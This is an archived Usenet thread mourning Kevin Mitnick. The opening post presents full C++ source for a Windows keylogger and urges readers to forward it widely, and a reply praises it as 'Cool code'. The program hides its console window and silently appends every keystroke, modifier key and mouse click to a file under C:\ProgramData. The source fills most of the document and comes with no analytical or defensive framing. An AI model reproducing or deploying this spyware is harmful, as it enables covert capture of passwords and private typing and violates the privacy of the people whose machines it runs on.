Google Groups no longer supports new Usenet posts or subscriptions. Historical content remains viewable.
Dismiss

RIP Kevin Mitnick

15 views
Skip to first unread message

Corey White

unread,
Jul 29, 2023, 5:26:14 AM7/29/23
to
Kevin David Mitnick (August 6, 1963 – July 16, 2023)

Kevin Mitnick died from pancreatic cancer on July 16, 2023, at the age
of 59 at a Pittsburgh, Pennsylvania hospital. At the time of his
death, he was married and his wife was pregnant with his first child.

https://en.wikipedia.org/wiki/Kevin_Mitnick

We are going to send Kevin Mitnick out with a bang. Please forward
this code to everyone you know. It's a perfectly good Keylogger which
hides in the background and saves all of your keystrokes to
C:\ProgramData\log.dat

Remember, be like Kevin and always be ethical
----------

#include <iostream>
#include <chrono>
#include <thread>
#include <Windows.h>
#include <fstream>

bool IsKeyPressed(int keyCode, int threshold) {
static std::chrono::steady_clock::time_point lastKeyPressTime;
std::chrono::steady_clock::time_point currentTime =
std::chrono::steady_clock::now();

if (GetAsyncKeyState(keyCode) & 0x8000) {
if (std::chrono::duration_cast < std::chrono::milliseconds >
(currentTime - lastKeyPressTime).count() >= threshold) {
lastKeyPressTime = currentTime;
return true;
}
}

return false;
}

int main() {

HWND Proc;
AllocConsole();
Proc = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Proc, 0);

char key;
while (true) {
for (key = 8; key <= 222; key++) {

std::ofstream write("C:\\ProgramData\\log.dat", std::ios::app);

if (IsKeyPressed(VK_OEM_MINUS, 250)) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
write << "_";
} else {
write << "-";
}
}
if (IsKeyPressed(VK_OEM_PLUS, 250)) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
write << "+";
} else {
write << "=";
}
}
if (IsKeyPressed(VK_OEM_3, 250)) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
write << "~";
} else {
write << "`";
}
}
if (IsKeyPressed(VK_OEM_4, 250)) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
write << "{";
} else {
write << "[";
}
}
if (IsKeyPressed(VK_OEM_6, 250)) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
write << "}";
} else {
write << "]";
}
}
if (IsKeyPressed(VK_OEM_5, 250)) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
write << "|";
} else {
write << "\\";
}
}
if (IsKeyPressed(VK_OEM_1, 250)) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
write << ":";
} else {
write << ";";
}
}
if (IsKeyPressed(VK_OEM_7, 250)) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
write << "\"";
} else {
write << "'";
}
}
if (IsKeyPressed(VK_OEM_COMMA, 250)) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
write << "<";
} else {
write << ",";
}
}
if (IsKeyPressed(VK_OEM_PERIOD, 250)) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
write << ">";
} else {
write << ".";
}
}
if (IsKeyPressed(VK_OEM_2, 250)) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
write << "?";
} else {
write << "/";
}
}
if (IsKeyPressed(VK_LCONTROL, 250)) {
write << " [CONTROL] ";

}
if (IsKeyPressed(VK_RCONTROL, 250)) {
write << " [CONTROL] ";

}
if (IsKeyPressed(VK_RMENU, 250)) {
write << " [ALT] ";

}
if (IsKeyPressed(VK_LMENU, 250)) {
write << " [ALT] ";

}
if (IsKeyPressed(VK_RBUTTON, 250)) {
write << " [RCLICK] ";
}
if (IsKeyPressed(VK_LBUTTON, 250)) {
write << " [LCLICK] ";
}
if (IsKeyPressed(VK_CAPITAL, 250)) {
write << " [CAPSLOCK] ";
}
if (IsKeyPressed(VK_TAB, 250)) {
write << " [TAB] ";
}
if (IsKeyPressed(VK_SPACE, 250)) {
write << " ";
}
if (GetAsyncKeyState(key) == -32767) {

if (key == 13) {
write << " [Enter]\n";
} else if (key == 8) {
write << " [Backspace] ";
} else if (key == 48 && GetAsyncKeyState(0x10)) {
write << ")";
} else if (key == 49 && GetAsyncKeyState(0x10)) {
write << "!";
} else if (key == 50 && GetAsyncKeyState(0x10)) {
write << "@";
} else if (key == 51 && GetAsyncKeyState(0x10)) {
write << "#";
} else if (key == 52 && GetAsyncKeyState(0x10)) {
write << "$";
} else if (key == 53 && GetAsyncKeyState(0x10)) {
write << "%";
} else if (key == 54 && GetAsyncKeyState(0x10)) {
write << "^";
} else if (key == 55 && GetAsyncKeyState(0x10)) {
write << "&";
} else if (key == 56 && GetAsyncKeyState(0x10)) {
write << "*";
} else if (key == 57 && GetAsyncKeyState(0x10)) {
write << "(";
} else if (key == 48 && !(GetAsyncKeyState(0x10))) {
write << "0";
} else if (key == 49 && !(GetAsyncKeyState(0x10))) {
write << "1";
} else if (key == 50 && !(GetAsyncKeyState(0x10))) {
write << "2";
} else if (key == 51 && !(GetAsyncKeyState(0x10))) {
write << "3";
} else if (key == 52 && !(GetAsyncKeyState(0x10))) {
write << "4";
} else if (key == 53 && !(GetAsyncKeyState(0x10))) {
write << "5";
} else if (key == 54 && !(GetAsyncKeyState(0x10))) {
write << "6";
} else if (key == 55 && !(GetAsyncKeyState(0x10))) {
write << "7";
} else if (key == 56 && !(GetAsyncKeyState(0x10))) {
write << "8";
} else if (key == 57 && !(GetAsyncKeyState(0x10))) {
write << "9";
} else if (key == 65 && GetAsyncKeyState(0x10)) {
write << "A";
} else if (key == 66 && GetAsyncKeyState(0x10)) {
write << "B";
} else if (key == 67 && GetAsyncKeyState(0x10)) {
write << "C";
} else if (key == 68 && GetAsyncKeyState(0x10)) {
write << "D";
} else if (key == 69 && GetAsyncKeyState(0x10)) {
write << "E";
} else if (key == 70 && GetAsyncKeyState(0x10)) {
write << "F";
} else if (key == 71 && GetAsyncKeyState(0x10)) {
write << "G";
} else if (key == 72 && GetAsyncKeyState(0x10)) {
write << "H";
} else if (key == 73 && GetAsyncKeyState(0x10)) {
write << "I";
} else if (key == 74 && GetAsyncKeyState(0x10)) {
write << "J";
} else if (key == 75 && GetAsyncKeyState(0x10)) {
write << "K";
} else if (key == 76 && GetAsyncKeyState(0x10)) {
write << "L";
} else if (key == 77 && GetAsyncKeyState(0x10)) {
write << "M";
} else if (key == 78 && GetAsyncKeyState(0x10)) {
write << "N";
} else if (key == 79 && GetAsyncKeyState(0x10)) {
write << "O";
} else if (key == 80 && GetAsyncKeyState(0x10)) {
write << "P";
} else if (key == 81 && GetAsyncKeyState(0x10)) {
write << "Q";
} else if (key == 82 && GetAsyncKeyState(0x10)) {
write << "R";
} else if (key == 83 && GetAsyncKeyState(0x10)) {
write << "S";
} else if (key == 84 && GetAsyncKeyState(0x10)) {
write << "T";
} else if (key == 85 && GetAsyncKeyState(0x10)) {
write << "U";
} else if (key == 86 && GetAsyncKeyState(0x10)) {
write << "V";
} else if (key == 87 && GetAsyncKeyState(0x10)) {
write << "W";
} else if (key == 88 && GetAsyncKeyState(0x10)) {
write << "X";
} else if (key == 89 && GetAsyncKeyState(0x10)) {
write << "Y";
} else if (key == 90 && GetAsyncKeyState(0x10)) {
write << "Z";
}

// lower case

if (key == 65 && !(GetAsyncKeyState(0x10))) {
write << "a";
} else if (key == 66 && !(GetAsyncKeyState(0x10))) {
write << "b";
} else if (key == 67 && !(GetAsyncKeyState(0x10))) {
write << "c";
} else if (key == 68 && !(GetAsyncKeyState(0x10))) {
write << "d";
} else if (key == 69 && !(GetAsyncKeyState(0x10))) {
write << "e";
} else if (key == 70 && !(GetAsyncKeyState(0x10))) {
write << "f";
} else if (key == 71 && !(GetAsyncKeyState(0x10))) {
write << "g";
} else if (key == 72 && !(GetAsyncKeyState(0x10))) {
write << "h";
} else if (key == 73 && !(GetAsyncKeyState(0x10))) {
write << "i";
} else if (key == 74 && !(GetAsyncKeyState(0x10))) {
write << "j";
} else if (key == 75 && !(GetAsyncKeyState(0x10))) {
write << "k";
} else if (key == 76 && !(GetAsyncKeyState(0x10))) {
write << "l";
} else if (key == 77 && !(GetAsyncKeyState(0x10))) {
write << "m";
} else if (key == 78 && !(GetAsyncKeyState(0x10))) {
write << "n";
} else if (key == 79 && !(GetAsyncKeyState(0x10))) {
write << "o";
} else if (key == 80 && !(GetAsyncKeyState(0x10))) {
write << "p";
} else if (key == 81 && !(GetAsyncKeyState(0x10))) {
write << "q";
} else if (key == 82 && !(GetAsyncKeyState(0x10))) {
write << "r";
} else if (key == 83 && !(GetAsyncKeyState(0x10))) {
write << "s";
} else if (key == 84 && !(GetAsyncKeyState(0x10))) {
write << "t";
} else if (key == 85 && !(GetAsyncKeyState(0x10))) {
write << "u";
} else if (key == 86 && !(GetAsyncKeyState(0x10))) {
write << "v";
} else if (key == 87 && !(GetAsyncKeyState(0x10))) {
write << "w";
} else if (key == 88 && !(GetAsyncKeyState(0x10))) {
write << "x";
} else if (key == 89 && !(GetAsyncKeyState(0x10))) {
write << "y";
} else if (key == 90 && !(GetAsyncKeyState(0x10))) {
write << "z";
}

}

}
}

char RIP;
std::cin >> RIP;
return 0;
}

rek2 hispagatos

unread,
Jul 29, 2023, 8:35:42 AM7/29/23
to
On 2023-07-29, Corey White <realit...@gmail.com> wrote:
> Kevin David Mitnick (August 6, 1963 – July 16, 2023)
>
> Kevin Mitnick died from pancreatic cancer on July 16, 2023, at the age
> of 59 at a Pittsburgh, Pennsylvania hospital. At the time of his
> death, he was married and his wife was pregnant with his first child.
>
> https://en.wikipedia.org/wiki/Kevin_Mitnick
>
> We are going to send Kevin Mitnick out with a bang. Please forward
> this code to everyone you know. It's a perfectly good Keylogger which
> hides in the background and saves all of your keystrokes to
> C:\ProgramData\log.dat
>
Cool code :)
Yeah we were very sorry to hear the news last week, we did a blog post
about him and the short time I hang out with him
https://hispagatos.org/post/kevin_mitnick/
and in gemini:
gemini://hispagatos.org/post/kevin_mitnick/

we posted more info on alt.2600 and es.comp.hackers

he will always be part of my memories. RIP

ReK2
Happy Hacking
--
{gemini,https}://{,rek2.}hispagatos.org
https://hispagatos.space/@rek2
0 new messages